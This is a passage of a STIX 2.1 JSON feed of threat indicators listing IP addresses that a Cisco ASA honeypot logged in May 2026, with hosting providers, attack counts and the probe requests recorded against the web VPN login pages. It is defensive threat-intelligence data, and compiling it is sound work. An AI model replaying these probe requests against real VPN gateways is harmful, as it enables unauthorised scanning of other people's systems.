            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T12:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--a5a8c805-195b-499b-b002-ba5c33ba0966",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.98.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T12:20:11.000Z",
      "valid_until": "2026-06-02T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 33,
          "first_seen": "2026-05-05T07:40:14.416Z",
          "last_seen": "2026-05-31T03:00:56.533Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T12:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--be111397-8b9e-49db-9dba-ef3bba9f4a26",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.98.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T12:20:11.000Z",
      "valid_until": "2026-06-02T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-06T01:52:33.916Z",
          "last_seen": "2026-05-23T05:19:35.885Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T12:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--f03a7a43-6b9b-4187-ac89-0385bd0b5bf5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.99.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T12:20:11.000Z",
      "valid_until": "2026-06-02T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-08T21:16:38.425Z",
          "last_seen": "2026-05-24T04:05:47.728Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T12:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--fb56e685-2094-40b5-b0b2-d5dae295a939",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.134.142.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T12:20:11.000Z",
      "valid_until": "2026-06-02T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 48,
          "first_seen": "2026-05-02T05:14:52.806Z",
          "last_seen": "2026-05-29T00:53:23.138Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T12:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--1e77c001-ae47-45b6-8f5f-868f2ab78113",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T12:20:11.000Z",
      "valid_until": "2026-06-02T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 27,
          "first_seen": "2026-05-02T02:49:39.008Z",
          "last_seen": "2026-05-26T17:35:58.424Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T13:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--48e76e7d-d9f7-46a0-b29e-60bd90a1f850",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '104.36.50.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T13:20:11.000Z",
      "valid_until": "2026-06-02T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-04T20:16:48.225Z",
          "last_seen": "2026-05-23T16:04:31.527Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T13:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: HK; ASN 135377 (UCLOUD INFORMATION TECHNOLOGY HK LIMITED)",
      "id": "indicator--fc0b66ce-b944-4f4e-b2de-5523c143b718",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '118.193.38.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T13:20:11.000Z",
      "valid_until": "2026-06-02T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T13:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: HK; ASN 135377 (UCLOUD INFORMATION TECHNOLOGY HK LIMITED)",
      "id": "indicator--d7cbd14a-04c8-44c5-acde-538a3c8d704c",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '152.32.128.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T13:20:11.000Z",
      "valid_until": "2026-06-02T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T13:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--6d96c4e6-70fd-4a6e-a57e-013f5d74b7a7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.156.46.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T13:20:11.000Z",
      "valid_until": "2026-06-02T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-02T06:09:19.000Z",
          "last_seen": "2026-05-29T21:09:23.405Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T13:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--70a2ff3d-f6c2-4e08-af67-1d8cbedc538b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.102.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T13:20:11.000Z",
      "valid_until": "2026-06-02T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-05T05:03:18.894Z",
          "last_seen": "2026-05-20T12:31:30.296Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T13:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--e56bbe8f-91b3-4b07-a9dd-d7859ae3951a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.106.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T13:20:11.000Z",
      "valid_until": "2026-06-02T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-05T09:21:16.121Z",
          "last_seen": "2026-05-20T11:48:51.206Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T13:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--4fd4ee60-2d74-4bff-a795-c7efafd4d9c2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.109.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T13:20:11.000Z",
      "valid_until": "2026-06-02T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 33,
          "first_seen": "2026-05-04T17:01:44.333Z",
          "last_seen": "2026-05-29T20:58:34.039Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T13:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--4eb17d54-5b2e-41b5-9696-4abf8872b001",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.68.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T13:20:11.000Z",
      "valid_until": "2026-06-02T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T13:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--8a1f73b3-50e3-403f-a6ec-32293feb10c9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.81.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T13:20:11.000Z",
      "valid_until": "2026-06-02T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-09T11:38:40.640Z",
          "last_seen": "2026-05-22T18:20:26.921Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T13:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--4a856eb4-16ab-4f5a-b360-fb0971e1c0bd",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.93.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T13:20:11.000Z",
      "valid_until": "2026-06-02T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T13:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--9ac5b098-a7f5-4714-8eeb-32a82b482c97",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.94.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T13:20:11.000Z",
      "valid_until": "2026-06-02T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 27,
          "first_seen": "2026-05-03T18:31:46.028Z",
          "last_seen": "2026-05-25T14:31:03.626Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T13:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--798741d4-f7e3-472b-9fb5-2b15a1abfc54",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.99.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T13:20:11.000Z",
      "valid_until": "2026-06-02T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-04T11:10:19.537Z",
          "last_seen": "2026-05-24T03:59:03.833Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T13:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--f8bdc110-5028-4eb4-bb5e-8e1b79f8b400",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '37.19.200.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T13:20:11.000Z",
      "valid_until": "2026-06-02T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-02T00:46:02.821Z",
          "last_seen": "2026-05-16T06:53:39.848Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T13:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--fa4560cc-c8fc-4300-85b2-f7b7e5c501c1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T13:20:11.000Z",
      "valid_until": "2026-06-02T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-05T03:37:04.154Z",
          "last_seen": "2026-05-07T01:49:50.500Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T13:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--5114d594-8d88-4c26-a70e-b4167af5e291",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T13:20:11.000Z",
      "valid_until": "2026-06-02T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 55,
          "first_seen": "2026-05-04T19:42:09.835Z",
          "last_seen": "2026-05-30T00:35:12.638Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T14:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--401e285d-4bda-4796-84c2-9a18523c7558",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.172.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T14:20:10.000Z",
      "valid_until": "2026-06-02T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-09T08:04:58.636Z",
          "last_seen": "2026-05-26T00:49:59.335Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
